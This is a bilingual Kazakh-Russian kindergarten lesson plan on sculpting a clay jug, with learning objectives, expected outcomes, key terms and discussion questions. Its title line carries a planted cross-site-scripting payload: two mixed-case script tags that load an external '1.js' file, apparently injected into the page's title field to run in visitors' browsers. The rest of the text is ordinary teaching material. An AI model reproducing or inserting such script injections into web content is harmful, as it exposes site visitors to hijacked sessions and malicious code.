"Құмыра"<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
05.04.2022
Білім саласы: Мүсіндеу Тақырыбы/ тема: Ертеңмен суға толтырам, қайда менің құмырам? Я наполню свой кувшин водой утром? ҰОҚ-нің оқыту мақсаттары/цели обучения : 0.1.3.1. Пластикалық, конструктивтік және мүсіндеу техникаларын қолданып, түрлі пішіндегі кескіштерді пайдалана отырып, Қазақстанның және әлемнің халық кәсіпшілігі негізінде ойыншықтар, ыдыс-аяқ жасау/ соблюдение казахстанской и мровой техники и гигиены труда с использованием пластических, дизайнерских и скульптурных приемов, резцов различной формы. 0.2.1.2. Өткір және кескіш құралдармен жұмыс барысында қауіпсіздік техникасын және еңбек гигиенасын сақтау/ соблюдение техники безопастности и гигиены труда при работе с острымыи и режущими инструментами. . Күтілетін нәтижелер Барлық тәрбиеленушілер:
- мүсіндеудің негізгі тәсілдерін, орындау технологияларын пайдалана біледі;
- безендіруге қажетті ою-өрнекті таңдай алады.
Көпшілік тәрбиеленушілер:
- мүсіндеудің жаю, созу сынды тәсілдерін орындай алады;
- жекелеген элементтерден композиция құрастыра алады.
Кейбір тәрбиеленушілер:
- сәндік композицияларды жасағанда ой-қиялын мейлінше пайдалана алады;
- түстерді бір-бірімен үйлесімді пайдалана біледі.
Тілдік мақсаттар
Дағдыларды дамыту:
- ауызекі сөйлеу қабілетін; сұрақтарға жауап беру, тұжырым жасау, ойша қорытындылау.
Көптілділік: құмыра – кувшин –jug.
Негізгі терминдер мен сөз тіркестері:
- ермексаз, кескіш, майлық, ұқыптылық, тегістеу, созу, жаю, қауіпсіздік техникасы, ермексазбен жұмыс істеу тәртібі. Ою-өрнек.
ҰОҚ-де диалог/хат жазу үшін пайдаланылатын тіл:
Талқыланатын сұрақтар:
- Біз мүсіндеудің қандай тәсілдерін пайдаланамыз?
- Бұйымды жасау үшін қандай форма қажет?
- Ермексаздан жіпті қалай жасаймыз?
- Құралдармен жұмыс істеудің қандай ережелерін білесіңдер?
Өткен ҰОҚ-нен алған білім, білік
Мүсіндеудің «сюжеттік», «заттық», «безендіру» сынды бағыттары туралы қарапайым түсініктер. Мүсіндеудің «мүсіндік»,
«құрастырушылық», «аралас» тәсілдері.
